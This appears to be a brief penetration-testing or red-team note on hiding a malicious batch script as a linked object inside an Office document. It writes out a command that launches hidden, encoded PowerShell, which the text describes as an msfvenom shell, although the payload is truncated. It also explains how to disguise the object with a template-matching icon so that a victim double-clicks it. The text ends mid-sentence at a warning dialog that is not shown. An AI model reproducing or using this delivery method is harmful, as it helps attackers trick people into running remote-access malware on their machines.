Object Linking

Similar to Macros we can also link objects like scripts to run when an office file is opened. (Also check MS Protected View and Macros leafs)

We make a batch script and name it launch.bat

the base64 encoding is our msfvenom shell

START powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBj....

Then to make the object look less odd, we will add it as an icon and pick an icon that looks to be part of the file template we are going for.

The victim then needs to double click this icon to launch our script. Thy will then get this warning:

Last updated